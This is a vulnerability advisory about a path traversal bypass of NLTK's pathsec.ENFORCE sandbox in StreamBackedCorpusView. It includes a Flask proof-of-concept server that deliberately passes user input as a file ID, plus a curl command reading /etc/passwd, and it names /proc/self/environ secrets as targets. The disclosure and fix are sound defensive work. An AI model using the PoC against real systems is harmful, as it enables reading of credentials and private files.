Where
-Infinity
0
Severity
8.7
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary Setting nltk.pathsec.ENFORCE = True is documented to sandbox all file access to allowed NLTK data directories and raise PermissionError on unauthorized access. However, StreamBackedCorpusView opens files via builtins.open() directly, bypassing pathsec.validatepath() entirely. An attacker who can influence the fileid argument can read arbitrary local files regardless of the ENFORCE setting.

Details nltk/pathsec.py:274 defines the enforcement point: python def open(file, mode="r", kwargs): validatepath(file, context="pathsec.open") return builtins.open(file, mode=mode, kwargs)

StreamBackedCorpusView.open() in nltk/corpus/reader/util.py bypasses this entirely for string paths:

python line 171 — no validatepath() call self.eofpos = os.stat(self.fileid).stsize

line 208 — calls builtins.open directly self.stream = open(self.fileid, "rb")

Also affected: XMLCorpusView and any corpus reader subclass that passes a raw string fileid to StreamBackedCorpusView.

PoC python pocserver.py — StreamBackedCorpusView pathsec.ENFORCE bypass from flask import Flask, request, jsonify import nltk.pathsec as ps from nltk.corpus.reader.util import StreamBackedCorpusView, readlineblock

Strict mode enabled — expected to sandbox all file access ps.ENFORCE = True

app = Flask(name)

@app.post("/read") def readfile(): fname = request.json.get("file") # fileid is user-controlled, passed directly to StreamBackedCorpusView # pathsec.ENFORCE = True is ignored — builtins.open() called internally view = StreamBackedCorpusView(fname, readlineblock, encoding="utf8") return jsonify({"file": fname, "content": view[0]})

app.run(host="0.0.0.0", port=8000) Trigger: curl -s -X POST http://localhost:8000/read \ -H "Content-Type: application/json" \ -d '{"file": "/etc/passwd"}' Confirmed on latest stable NLTK. No privileges required.

Impact - Type: Arbitrary Local File Read / Security Control Bypass - CWE: CWE-22, CWE-284 - OWASP: A01:2021 – Broken Access Control

Affects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the fileid passed to NLTK corpus readers. Sensitive targets include /etc/passwd, /proc/self/environ (may contain AWSSECRETACCESSKEY, DATABASEURL, etc.), and application config files.

The core issue is that operators who explicitly set ENFORCE = True to harden production deployments are left with a false security guarantee.

Suggested fix: Replace builtins.open() and os.stat() in the string-path branch with nltk.pathsec.open() and nltk.pathsec.validatepath().

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203